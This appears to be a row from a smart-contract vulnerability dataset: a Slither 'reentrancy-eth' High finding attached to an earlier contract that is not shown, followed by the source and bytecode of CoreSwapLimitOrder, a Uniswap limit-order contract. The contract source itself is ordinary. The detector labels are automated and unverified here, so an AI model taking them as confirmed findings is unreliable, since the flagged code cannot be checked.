600081848411156112835760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611ded565b95945050505050565b6013546001600160a01b03166108fc6112b3836002611559565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f6836002611559565b6040518115909202916000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156113855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b600061138f61159b565b905061139b8382611559565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ea576113ea611e35565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190611a20565b8160018151811061148957611489611e35565b6001600160a01b0392831660209182029290920101526015546114af9130911684610b7d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e8908590600090869030904290600401611d23565b600060405180830381600087803b15801561150257600080fd5b505af1158015611516573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611538576115386115be565b6115438484846115ec565b80610a5e57610a5e600f54600d55601054600e55565b600061139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b60008060006115a8611711565b90925090506115b78282611559565b9250505090565b600d541580156115ce5750600e54155b156115d557565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fe87611753565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163090876117b0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165f90866117f2565b6001600160a01b03891660009081526002602052604090205561168181611851565b61168b848361189b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d091815260200190565b60405180910390a3505050505050505050565b600081836117045760405162461bcd60e51b81526004016106119190611c99565b5060006112908486611dac565b6006546000908190683635c9adc5dea0000061172d8282611559565b82101561174a57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117708a600d54600e546118bf565b925092509250600061178061159b565b905060008060006117938e878787611914565b919e509c509a509598509396509194505050505091939550919395565b600061139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125f565b6000806117ff8385611d94565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b600061185b61159b565b905060006118698383611964565b3060009081526002602052604090205490915061188690826117f2565b30600090815260026020526040902055505050565b6006546118a890836117b0565b6006556007546118b890826117f2565b6007555050565b60008080806118d960646118d38989611964565b90611559565b905060006118ec60646118d38a89611964565b90506000611904826118fe8b866117b0565b906117b0565b9992985090965090945050505050565b60008080806119238886611964565b905060006119318887611964565b9050600061193f8888611964565b90506000611951826118fe86866117b0565b939b939a50919850919650505050505050565b60008261197357506000610697565b600061197f8385611dce565b90508261198c8583611dac565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b80356119ee81611e61565b919050565b803580151581146119ee57600080fd5b600060208284031215611a1557600080fd5b813561139b81611e61565b600060208284031215611a3257600080fd5b815161139b81611e61565b60008060408385031215611a5057600080fd5b8235611a5b81611e61565b91506020830135611a6b81611e61565b809150509250929050565b600080600060608486031215611a8b57600080fd5b8335611a9681611e61565b92506020840135611aa681611e61565b929592945050506040919091013590565b60008060408385031215611aca57600080fd5b8235611ad581611e61565b946020939093013593505050565b600080600060408486031215611af857600080fd5b833567ffffffffffffffff80821115611b1057600080fd5b818601915086601f830112611b2457600080fd5b813581811115611b3357600080fd5b8760208260051b8501011115611b4857600080fd5b602092830195509350611b5e91860190506119f3565b90509250925092565b60006020808385031215611b7a57600080fd5b823567ffffffffffffffff80821115611b9257600080fd5b818501915085601f830112611ba657600080fd5b813581811115611bb857611bb8611e4b565b8060051b604051601f19603f83011681018181108582111715611bdd57611bdd611e4b565b604052828152858101935084860182860187018a1015611bfc57600080fd5b600095505b83861015611c2657611c12816119e3565b855260019590950194938601938601611c01565b5098975050505050505050565b600060208284031215611c4557600080fd5b61139b826119f3565b600060208284031215611c6057600080fd5b5035919050565b60008060008060808587031215611c7d57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc657858101830151858201604001528201611caa565b81811115611cd8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d735784516001600160a01b031683529383019391830191600101611d4e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da757611da7611e1f565b500190565b600082611dc957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de857611de8611e1f565b500290565b600082821015611dff57611dff611e1f565b500390565b6000600019821415611e1857611e18611e1f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b78bd1f4c8d7ebe9878574dfd249fd0c2135de8f99b953b726fa24da5b82bb9364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,316 |
0x5d7ca20b066aa2b911f948c29b965497359e7a6b
|
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CoreSwapLimitOrder is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
IUniswapV2Factory public immutable uniswapV2Factory;
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
enum OrderState {Created, Cancelled, Finished}
uint public ordersNum = 0;
uint[] public orders;
struct Order {
OrderState orderState;
OrderType orderType;
address payable traderAddress;
address assetIn;
address assetOut;
uint assetInOffered;
uint assetOutExpected;
uint executorFee;
uint id;
uint ordersI;
}
uint public EXECUTOR_FEE = 500000000000000;
event orderCreatedLog(uint id, OrderState orderState, OrderType orderType, address payable traderAddress, address assetIn, address assetOut, uint assetInOffered, uint assetOutExpected, uint executorFee);
event orderExecutedLog(uint id, address executor, uint[] amounts);
event orderCancelledLog(uint id, address payable traderAddress, address assetIn, address assetOut, uint refundETH, uint refundToken);
mapping(address => uint[]) private ordersForAddress;
mapping(uint => Order) public orderBook;
constructor(IUniswapV2Router02 _uniswapV2Router) {
uniswapV2Router = _uniswapV2Router;
uniswapV2Factory = IUniswapV2Factory(_uniswapV2Router.factory());
}
function setNewExecutorFee(uint256 _EXECUTOR_FEE) external onlyOwner {
EXECUTOR_FEE = _EXECUTOR_FEE;
}
function getPair(address tokenA, address tokenB) internal view returns (address) {
address _tokenPair = uniswapV2Factory.getPair(tokenA, tokenB);
require(_tokenPair != address(0), "Unavailable token pair");
return _tokenPair;
}
function updateOrderState(Order memory order, OrderState newState) internal {
if(orders.length > 1) {
uint openId = order.ordersI;
uint lastId = orders[orders.length-1];
Order memory lastOrder = orderBook[lastId];
lastOrder.ordersI = openId;
orderBook[lastId] = lastOrder;
orders[openId] = lastId;
}
orders.pop();
order.orderState = newState;
orderBook[order.id] = order;
}
function createOrder(OrderType orderType, address assetIn, address assetOut, uint assetInOffered, uint assetOutExpected, uint executorFee) external payable {
uint payment = msg.value;
require(assetInOffered > 0, "Asset in amount must be greater than 0");
require(assetOutExpected > 0, "Asset out amount must be greater than 0");
require(executorFee >= EXECUTOR_FEE, "Invalid fee");
if(orderType == OrderType.EthForTokens) {
require(assetIn == uniswapV2Router.WETH(), "Use WETH as the assetIn");
require(payment >= assetInOffered.add(executorFee), "Payment = assetInOffered + executorFee");
}
else {
require(payment >= executorFee, "Transaction value must match executorFee");
if (orderType == OrderType.TokensForEth) { require(assetOut == uniswapV2Router.WETH(), "Use WETH as the assetOut"); }
TransferHelper.safeTransferFrom(assetIn, msg.sender, address(this), assetInOffered);
}
uint orderId = ordersNum;
ordersNum++;
orderBook[orderId] = Order(OrderState.Created, orderType, msg.sender, assetIn, assetOut, assetInOffered,
assetOutExpected, executorFee, orderId, orders.length);
ordersForAddress[msg.sender].push(orderId);
orders.push(orderId);
emit orderCreatedLog( orderId, OrderState.Created, orderType, msg.sender, assetIn, assetOut, assetInOffered, assetOutExpected, executorFee);
}
function cancelOrder(uint orderId) external {
Order memory order = orderBook[orderId];
require(order.traderAddress != address(0), "Invalid order");
require(msg.sender == order.traderAddress, 'This order is not yours');
require(order.orderState == OrderState.Created, 'Invalid order state');
updateOrderState(order, OrderState.Cancelled);
uint refundETH = 0;
uint refundToken = 0;
if (order.orderType != OrderType.EthForTokens) {
refundETH = order.executorFee;
refundToken = order.assetInOffered;
TransferHelper.safeTransferETH(order.traderAddress, refundETH);
TransferHelper.safeTransfer(order.assetIn, order.traderAddress, refundToken);
}
else {
refundETH = order.assetInOffered.add(order.executorFee);
TransferHelper.safeTransferETH(order.traderAddress, refundETH);
}
emit orderCancelledLog(order.id, order.traderAddress, order.assetIn, order.assetOut, refundETH, refundToken);
}
function executeOrder(uint orderId) external onlyOwner returns (uint[] memory) {
Order memory order = orderBook[orderId];
require(order.traderAddress != address(0), "Invalid order");
require(order.orderState == OrderState.Created, 'Invalid order state');
updateOrderState(order, OrderState.Finished);
address[] memory pair = new address[](2);
pair[0] = order.assetIn;
pair[1] = order.assetOut;
uint[] memory swapResult;
if (order.orderType == OrderType.EthForTokens) {
swapResult = uniswapV2Router.swapExactETHForTokens{value:order.assetInOffered}(order.assetOutExpected, pair, order.traderAddress, block.timestamp);
}
else if (order.orderType == OrderType.TokensForEth) {
TransferHelper.safeApprove(order.assetIn, address(uniswapV2Router), order.assetInOffered);
swapResult = uniswapV2Router.swapExactTokensForETH(order.assetInOffered, order.assetOutExpected, pair, order.traderAddress, block.timestamp);
}
else if (order.orderType == OrderType.TokensForTokens) {
TransferHelper.safeApprove(order.assetIn, address(uniswapV2Router), order.assetInOffered);
swapResult = uniswapV2Router.swapExactTokensForTokens(order.assetInOffered, order.assetOutExpected, pair, order.traderAddress, block.timestamp);
}
TransferHelper.safeTransferETH(msg.sender, order.executorFee);
emit orderExecutedLog(order.id, msg.sender, swapResult);
return swapResult;
}
function getOrdersLength() external view returns (uint) {
return orders.length;
}
receive() external payable {}
}
|
0x6080604052600436106100c65760003560e01c80638ba9990a1161007f578063a20b6e3411610059578063a20b6e3414610284578063a85c38ef14610326578063b7fddafd14610350578063f2fde38b14610365576100cd565b80638ba9990a146101cb5780638da5cb5b146101f557806394f611341461020a576100cd565b806307c2e16c146100d25780631694505e146100f95780633d42e5881461012a578063514fcac71461013f57806359d0f7131461016b5780637a1673ee14610180576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610398565b60408051918252519081900360200190f35b34801561010557600080fd5b5061010e61039e565b604080516001600160a01b039092168252519081900360200190f35b34801561013657600080fd5b506100e76103c2565b34801561014b57600080fd5b506101696004803603602081101561016257600080fd5b50356103c8565b005b34801561017757600080fd5b5061010e61068f565b610169600480360360c081101561019657600080fd5b5060ff813516906001600160a01b03602082013581169160408101359091169060608101359060808101359060a001356106b3565b3480156101d757600080fd5b50610169600480360360208110156101ee57600080fd5b5035610c70565b34801561020157600080fd5b5061010e610cdf565b34801561021657600080fd5b506102346004803603602081101561022d57600080fd5b5035610cee565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610270578181015183820152602001610258565b505050509050019250505060405180910390f35b34801561029057600080fd5b506102ae600480360360208110156102a757600080fd5b5035611504565b604051808b60028111156102be57fe5b81526020018a60028111156102cf57fe5b81526001600160a01b03998a1660208201529789166040808a0191909152969098166060880152608087019490945260a086019290925260c085015260e08401526101008301525190819003610120019350915050f35b34801561033257600080fd5b506100e76004803603602081101561034957600080fd5b5035611569565b34801561035c57600080fd5b506100e761158a565b34801561037157600080fd5b506101696004803603602081101561038857600080fd5b50356001600160a01b0316611590565b60025490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60015481565b600081815260056020526040808220815161014081019092528054829060ff1660028111156103f357fe5b60028111156103fe57fe5b81528154602090910190610100900460ff16600281111561041b57fe5b600281111561042657fe5b815281546001600160a01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e08401526007909301546101009092019190915290820151919250166104dd576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b21037b93232b960991b604482015290519081900360640190fd5b80604001516001600160a01b0316336001600160a01b031614610547576040805162461bcd60e51b815260206004820152601760248201527f54686973206f72646572206973206e6f7420796f757273000000000000000000604482015290519081900360640190fd5b60008151600281111561055657fe5b1461059e576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964206f7264657220737461746560681b604482015290519081900360640190fd5b6105a9816001611655565b60008080836020015160028111156105bd57fe5b146105f557505060e081015160a082015160408301516105dd9083611999565b6105f08360600151846040015183611a91565b610618565b60e083015160a084015161060891611bfa565b9150610618836040015183611999565b61010083015160408085015160608087015160808089015185519687526001600160a01b03948516602088015291841686860152921690840152820184905260a08201839052517f08364389362337d59d860c10d00b83f150e50491c3ea8b1035e8856291b9e1e69181900360c00190a150505050565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34836106f05760405162461bcd60e51b8152600401808060200182810382526026815260200180611f6c6026913960400191505060405180910390fd5b6000831161072f5760405162461bcd60e51b8152600401808060200182810382526027815260200180611fd96027913960400191505060405180910390fd5b600354821015610774576040805162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b604482015290519081900360640190fd5b600087600281111561078257fe5b14156108b9577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e157600080fd5b505afa1580156107f5573d6000803e3d6000fd5b505050506040513d602081101561080b57600080fd5b50516001600160a01b0387811691161461086c576040805162461bcd60e51b815260206004820152601760248201527f557365205745544820617320746865206173736574496e000000000000000000604482015290519081900360640190fd5b6108768483611bfa565b8110156108b45760405162461bcd60e51b8152600401808060200182810382526026815260200180611f1e6026913960400191505060405180910390fd5b6109fc565b818110156108f85760405162461bcd60e51b8152600401808060200182810382526028815260200180611f446028913960400191505060405180910390fd5b600187600281111561090657fe5b14156109f0577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561096557600080fd5b505afa158015610979573d6000803e3d6000fd5b505050506040513d602081101561098f57600080fd5b50516001600160a01b038681169116146109f0576040805162461bcd60e51b815260206004820152601860248201527f5573652057455448206173207468652061737365744f75740000000000000000604482015290519081900360640190fd5b6109fc86333087611c5b565b600180548082019091556040805161014081019091528060008152602001896002811115610a2657fe5b8152602001336001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018681526020018581526020018481526020018281526020016002805490508152506005600083815260200190815260200160002060008201518160000160006101000a81548160ff02191690836002811115610ab057fe5b021790555060208201518154829061ff001916610100836002811115610ad257fe5b0217905550604082810151825462010000600160b01b031916620100006001600160a01b03928316021783556060840151600180850180546001600160a01b0319908116938516939093179055608086015160028087018054909416919094161790915560a0850151600385015560c085015160048086019190915560e0860151600586015561010086015160068601556101209095015160079094019390935533600081815260209586528381208054808701825590825286822001879055825494850183559182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace90930185905590518481527f84797b6e56a68f125a6283bf0b7eb6ad1d139767d51428596f95c65b080f44ca9385938d9290918d918d918d918d918d91908101898152602001886002811115610c0f57fe5b8152602001876001600160a01b03168152602001866001600160a01b03168152602001856001600160a01b03168152602001848152602001838152602001828152602001995050505050505050505060405180910390a15050505050505050565b610c78611db7565b6000546001600160a01b03908116911614610cda576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600355565b6000546001600160a01b031690565b6060610cf8611db7565b6000546001600160a01b03908116911614610d5a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600082815260056020526040808220815161014081019092528054829060ff166002811115610d8557fe5b6002811115610d9057fe5b81528154602090910190610100900460ff166002811115610dad57fe5b6002811115610db857fe5b815281546001600160a01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e0840152600790930154610100909201919091529082015191925016610e6f576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b21037b93232b960991b604482015290519081900360640190fd5b600081516002811115610e7e57fe5b14610ec6576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964206f7264657220737461746560681b604482015290519081900360640190fd5b610ed1816002611655565b604080516002808252606082018352600092602083019080368337019050509050816060015181600081518110610f0457fe5b60200260200101906001600160a01b031690816001600160a01b031681525050816080015181600181518110610f3657fe5b6001600160a01b03909216602092830291909101909101526060600083602001516002811115610f6257fe5b141561110a577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316637ff36ab58460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018085815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611012578181015183820152602001610ffa565b50505050905001955050505050506000604051808303818588803b15801561103957600080fd5b505af115801561104d573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052602081101561107757600080fd5b810190808051604051939291908464010000000082111561109757600080fd5b9083019060208201858111156110ac57600080fd5b82518660208202830111640100000000821117156110c957600080fd5b82525081516020918201928201910280838360005b838110156110f65781810151838201526020016110de565b50505050905001604052505050905061145b565b60018360200151600281111561111c57fe5b141561126b5761115583606001517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8560a00151611dbb565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166318cbafe58460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156112055781810151838201526020016111ed565b505050509050019650505050505050600060405180830381600087803b15801561122e57600080fd5b505af1158015611242573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561107757600080fd5b60028360200151600281111561127d57fe5b141561145b576112b683606001517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8560a00151611dbb565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed17398460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561136657818101518382015260200161134e565b505050509050019650505050505050600060405180830381600087803b15801561138f57600080fd5b505af11580156113a3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156113cc57600080fd5b81019080805160405193929190846401000000008211156113ec57600080fd5b90830190602082018581111561140157600080fd5b825186602082028301116401000000008211171561141e57600080fd5b82525081516020918201928201910280838360005b8381101561144b578181015183820152602001611433565b5050505090500160405250505090505b611469338460e00151611999565b7f0db6398c098b3fb1f728e701dc09cc7f5464050ecfa4b9ff33515fc5aed74eb4836101000151338360405180848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019060200280838360005b838110156114e75781810151838201526020016114cf565b5050505090500194505050505060405180910390a1949350505050565b60056020819052600091825260409091208054600182015460028301546003840154600485015495850154600686015460079096015460ff80871698610100880490911697620100009097046001600160a01b0390811697968116969516949092918a565b6002818154811061157957600080fd5b600091825260209091200154905081565b60035481565b611598611db7565b6000546001600160a01b039081169116146115fa576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001101561186d576101208201516002805460009190600019810190811061167c57fe5b6000918252602080832090910154808352600590915260408083208151610140810190925280549294509091829060ff1660028111156116b857fe5b60028111156116c357fe5b81528154602090910190610100900460ff1660028111156116e057fe5b60028111156116eb57fe5b815281546001600160a01b036201000090910481166020808401919091526001808501548316604080860191909152600280870154909416606086015260038601546080860152600486015460a086015260058087015460c0870152600687015460e08701526007909601546101009095019490945261012086018990526000888152949091529190922083518154949550859491939092849260ff191691849081111561179557fe5b021790555060208201518154829061ff0019166101008360028111156117b757fe5b02179055506040820151815462010000600160b01b031916620100006001600160a01b039283160217825560608301516001830180546001600160a01b03199081169284169290921790556080840151600280850180549093169190931617905560a0830151600383015560c0830151600483015560e0830151600583015561010083015160068301556101209092015160079091015580548391908590811061185d57fe5b6000918252602090912001555050505b600280548061187857fe5b60019003818190600052602060002001600090559055808260000190600281111561189f57fe5b908160028111156118ac57fe5b90525061010082015160009081526005602052604090208251815484929190829060ff191660018360028111156118df57fe5b021790555060208201518154829061ff00191661010083600281111561190157fe5b0217905550604082015181546001600160a01b03918216620100000262010000600160b01b031990911617825560608301516001830180549183166001600160a01b0319928316179055608084015160028401805491909316911617905560a0820151600382015560c0820151600482015560e082015160058201556101008201516006820155610120909101516007909101555050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b602083106119e55780518252601f1990920191602091820191016119c6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611a47576040519150601f19603f3d011682016040523d82523d6000602084013e611a4c565b606091505b5050905080611a8c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611f926023913960400191505060405180910390fd5b505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485949389169392918291908083835b60208310611b0d5780518252601f199092019160209182019101611aee565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611b6f576040519150601f19603f3d011682016040523d82523d6000602084013e611b74565b606091505b5091509150818015611ba2575080511580611ba25750808060200190516020811015611b9f57600080fd5b50515b611bf3576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b600082820183811015611c54576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b178152925182516000948594938a169392918291908083835b60208310611cdf5780518252601f199092019160209182019101611cc0565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611d41576040519150601f19603f3d011682016040523d82523d6000602084013e611d46565b606091505b5091509150818015611d74575080511580611d745750808060200190516020811015611d7157600080fd5b50515b611daf5760405162461bcd60e51b8152600401808060200182810382526024815260200180611fb56024913960400191505060405180910390fd5b505050505050565b3390565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b1781529251825160009485949389169392918291908083835b60208310611e375780518252601f199092019160209182019101611e18565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611e99576040519150601f19603f3d011682016040523d82523d6000602084013e611e9e565b606091505b5091509150818015611ecc575080511580611ecc5750808060200190516020811015611ec957600080fd5b50515b611bf3576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fdfe5061796d656e74203d206173736574496e4f666665726564202b206578656375746f724665655472616e73616374696f6e2076616c7565206d757374206d61746368206578656375746f72466565417373657420696e20616d6f756e74206d7573742062652067726561746572207468616e20305472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c45444173736574206f757420616d6f756e74206d7573742062652067726561746572207468616e2030a264697066735822122078ec3b0033eeae88593786489f4355882cae2e5f2303656ff0a53db54e2c1c2d64736f6c63430007060033
|
